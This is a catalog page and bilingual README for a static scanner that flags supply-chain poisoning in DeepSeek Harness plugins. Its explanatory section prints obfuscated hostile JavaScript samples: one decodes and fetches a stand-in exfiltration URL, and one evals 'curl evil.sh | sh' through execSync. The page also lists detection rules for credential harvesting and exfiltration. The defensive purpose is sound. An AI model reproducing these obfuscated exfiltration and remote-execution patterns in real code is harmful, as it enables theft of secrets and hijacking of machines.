zoahdev/dsh-poison-guard
Pre-install supply-chain poison scanner for DeepSeek Harness plugins: AST (JS-X-Ray) + deobfuscation + regex. Catches obfuscated exfiltration, eval, hidden shell commands.
Listed
0
Security
Bundle verified
What it does
Pre-install supply-chain poison scanner for DSH plugins: AST (JS-X-Ray) + deobfuscation + regex heuristics, exits non-zero on findings for CI gating.
Best for
- Plugin users who want a static supply-chain scan before installing untrusted DSH code.
- CI pipelines that should fail when AST, deobfuscation, or regex analysis reports suspicious behavior.
- Reviewers looking for hidden exfiltration URLs, obfuscated imports, eval-like sinks, secret access, or dangerous install scripts.
Not ideal for
- Using a clean scan as proof that a plugin is safe; the scanner explicitly describes itself as defense in depth, not a security boundary.
- Threats that only become visible through runtime behavior or obfuscation the static analyzers cannot decode.
- Workflows that cannot tolerate heuristic findings requiring human triage, since any finding produces a non-zero exit.
README
dsh-poison-guard
Live demo: https://zoahdev.github.io/dsh-poison-guard/
Pre-install supply-chain poison scanner for DeepSeek Harness plugins. It is
not a toy regex grep: it runs three layers on every plugin before you dsh plugin add it —
-
AST analysis via NodeSecure JS-X-Ray
(the SAST used by NodeSecure CLI): variable tracing, dynamic-import resolution,
obfuscator detection,
eval/Function/vmsinks,data-exfiltration,serialize-environment, unsafe shell commands, and more. -
Deobfuscation decoder that unpacks
atob(),Buffer.from(..., "base64"/"hex"),String.fromCharCode(...), and\xNN/\uNNNNescapes, then re-scans the decoded strings for hidden credentials, URLs, and shell commands. -
Regex heuristics as a fallback for obvious literals, non-code files, and
install-time scripts (
prepare/postinstall/install/preinstall).
The honest threat model
No static tool can catch all poisoning. Detecting arbitrary malicious behavior in
arbitrary code is undecidable (Rice’s theorem); a determined attacker can always craft
an obfuscation this scanner cannot see through. What this tool does is make the cheap,
high-volume attacks — hidden exfiltration URLs, obfuscated require("child_process"),
eval of base64 blobs, process.env harvests, .ssh reads, install-time curl ... | sh —
visible to someone who would never find them by reading source. It is defense-in-depth,
not a security boundary.
The real boundary is the harness sandbox: keep untrusted plugins in workspace-write,
never danger-full-access. The last layer is provenance: prefer verified, maintained,
clearly-authored plugins.
What it detects
| Severity | Examples |
|---|---|
| HIGH |
ast/data-exfiltration, ast/unsafe-import (obfuscated require), ast/unsafe-stmt (eval/Function/vm), ast/unsafe-command, deobfuscated-secret, deobfuscated-key, deobfuscated-command, exfil-combo, credential references, private-key paths |
| MEDIUM |
ast/serialize-environment, ast/shady-link, ast/sql-injection, ast/monkey-patch, ast/prototype-pollution, deobfuscated-url, network egress, child_process, install-time scripts |
| LOW |
ast/encoded-literal, ast/short-identifiers, ast/unsafe-regex, ast/crypto.weak-algorithm, env-read, base64 obfuscation |
Rules are prefixed by layer: ast/* (JS-X-Ray), deobfuscated-* (decoder),
install-script* (manifest), and unprefixed (regex fallback).
Usage
# human-readable verdict
dsh-poison-guard scan ./some-plugin
# machine-readable (for CI gates)
dsh-poison-guard scan ./some-plugin --json
# install into a profile (then the agent gains a `plugin_scan` tool)
dsh plugin --profile web add dsh-poison-guard
# or as a global CLI
npm install -g dsh-poison-guard
Exit code: 0 = CLEAN, 1 = at least one finding (wire it as a CI gate).
Example
🔴 MALICIOUS 8 high / 5 medium / 4 low finding(s)
engine: AST(js-x-ray) + deobfuscation + regex | 1 source file(s), 3 AST warning(s), 3 decoded fragment(s)
[HIGH] ast/unsafe-import index.js:6
obfuscated or untraceable import (require/import of a computed value)
[HIGH] deobfuscated-url index.js:3
decoded obfuscated URL: https://evil.example/exfil
[HIGH] exfil-combo (whole plugin):0
reads credentials/secrets AND makes network requests - the classic exfiltration shape
CI gate
- run: pnpm install --frozen-lockfile
- run: dsh-poison-guard scan ./my-plugin --json
The scanner is synchronous and dependency-light at runtime (AST engine is pure JavaScript, no native modules).
Why AST + deobfuscation beats a regex scanner
A regex scanner misses everything below because there is no literal string to match:
const lib = Buffer.from("6673", "hex").toString() // "fs"
const fs = require(lib) // -> ast/unsafe-import
const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=") // "https://evil.example/exfil"
await fetch(target) // -> deobfuscated-url
const cmd = String.fromCharCode(99,117,114,108) // "curl"
eval("execSync('" + cmd + " evil.sh | sh')") // -> deobfuscated-command + ast/unsafe-stmt
Limitations
- Static only — does not execute the plugin or observe runtime behavior.
- Obfuscation can be made undecidable; stronger obfuscators (e.g.
javascript-obfuscatorwith string-array + control-flow flattening) may still hide the payload. - The AST layer is tuned to
aggressivesensitivity for maximum visibility; a benign plugin that does realeval/child_processwork will also be flagged. - No sandbox policy is enforced here; pair it with the harness sandbox.
Development
pnpm install --frozen-lockfile
pnpm typecheck
pnpm build
pnpm test
MIT license. Community template — not an official DeepSeek product.
dsh-poison-guard(中文)
DeepSeek Harness 插件的安装前投毒扫描器。不是正则 grep,而是在 dsh plugin add 之前跑三层检测:
-
AST 分析(NodeSecure JS-X-Ray,NodeSecure CLI 同款 SAST):变量追踪、动态 import 解析、混淆器识别、
eval/Function/vm、数据外发、process.env序列化、危险 shell 命令等。 -
反混淆解码器:解开
atob()、Buffer.from(...,"base64"/"hex")、String.fromCharCode(...)、\xNN/\uNNNN转义,再对解出来的字符串二次扫描隐藏的密钥、URL、shell 命令。 -
正则兜底:覆盖明显字面量、非代码文件、以及
prepare/postinstall/install/preinstall安装脚本。
老实说边界
任何静态工具都无法拦住所有投毒(Rice 定理,不可判定)。它拦住的是大量低成本攻击:隐藏的外发 URL、混淆的 require("child_process")、base64 eval、process.env 收割、读 .ssh、安装脚本 curl ... | sh。它是纵深防御,不是安全边界。真正的边界是 harness 沙箱:未验证插件永远别开 danger-full-access;最后一层是来源信誉。
用法
dsh-poison-guard scan ./some-plugin
dsh-poison-guard scan ./some-plugin --json # 接 CI 门禁
dsh plugin --profile web add github:zoahdev/dsh-poison-guard
退出码:0 = CLEAN,1 = 有发现。装进 dsh 后,agent 会多一个 plugin_scan 工具,可扫任意插件目录。
为什么比纯正则强
正则抓不到下面这些(因为没有可直接匹配的字面量):
const lib = Buffer.from("6673", "hex").toString() // "fs"
const fs = require(lib) // -> ast/unsafe-import
const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=")
await fetch(target) // -> deobfuscated-url
MIT 许可。社区模板,非 DeepSeek 官方产品。
Frequently Asked QuestionsFAQ
Use the verified command dsh plugin --profile default add github:zoahdev/dsh-poison-guard in a DSH-enabled shell. The command resolves the public package metadata and keeps the plugin attached to the catalog identity shown on this page.
Compatibility follows the bundle and profile status shown above. If a profile is not detected, keep the plugin disabled there and check the repository documentation before enabling it in production.
The GitHub link and activity metadata are the source of truth for releases and maintenance. Revisit this page after a new release to confirm the catalog has observed the latest version.